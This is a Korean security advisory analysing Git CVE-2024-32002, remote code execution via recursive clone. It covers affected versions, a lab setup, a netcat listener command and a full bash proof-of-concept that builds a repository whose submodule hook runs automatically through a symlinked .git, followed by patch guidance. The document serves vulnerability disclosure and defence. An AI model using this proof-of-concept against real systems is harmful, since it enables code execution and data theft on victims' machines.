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Git Clone 원격코드 실행 취약점(CVE-2024-32002) 

 

■ 취약점 개요 

  

 

  



 

EQST insight | 2 

■ 공격 시나리오 

 

① 공격자는 악의적인 원격 리포지토리를 구성 

② 피해자는 악성 스크립트가 존재하는 원격 리포지토리를 clone 

③ CVE-2024-32002로 인해 악성 스크립트 자동 실행 

④ 공격자는 악성 스크립트 실행 후 침투하여 피해자의 주요 정보 탈취 

 

■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

Git 
2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.4, 2.40.2, 2.39.4  

이전 버전 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Microsoft Windows 10 version 22H2 

Git 2.45.0.windows.1 

(192.168.216.130) 

공격자 
Kali Linux 

(192.168.216.129) 
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■ 취약점 테스트 

git --version 

 

 

$ nc –lvp {포트 번호} 

 

 

 

$ git clone --recursive {공격자 리포지토리 주소} 
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■ 취약점 상세 분석 
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git config --global core.symlinks true 
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#!/bin/bash 

git config --global core.symlinks true 

 

# 서브모듈 리포지토리 초기화 

git init hook 

cd hook 

mkdir -p y/hooks 

 

# 악의성 스크립트 삽입 (calc.exe 실행) 

cat > y/hooks/post-checkout <<EOF 

#!/bin/bash 

calc.exe 

EOF 

 

# 스크립트 실행권한 부여 

chmod +x y/hooks/post-checkout 

 

# 서브모듈 리포지토리 add 

git add y/hooks/post-checkout 

# 서브모듈 리포지토리 commit 

git commit -m "post-checkout" 

 

cd .. 

 

# 메인 리포지토리 초기화 

git init eqst 

cd eqst 

# 메인 리포지토리 내 서브모듈 추가 

git submodule add --name x/y "/c/dev/hook" A/modules/x 

# 메인 리포지토리 commit 

git commit -m "add-submodule" 

 

# symlink 생성 

printf ".git" > dotgit.txt 

git hash-object -w --stdin < dotgit.txt > dot-git.hash 

printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info 

git update-index --index-info < index.info 

git commit -m "add-symlink" 

cd .. 
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GIT_TRACE=1 git clone --recursive eqst eqsttest 
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git clone --recursive https://github.com/EQSTSeminar/git_rce.git 
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■ 대응 방안  

제품 패치 버전 

Git 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, 2.39.4 이후 버전 

 

 

git config --global core.symlinks false 

 

 

 

 

 

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
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■ 참고 사이트  




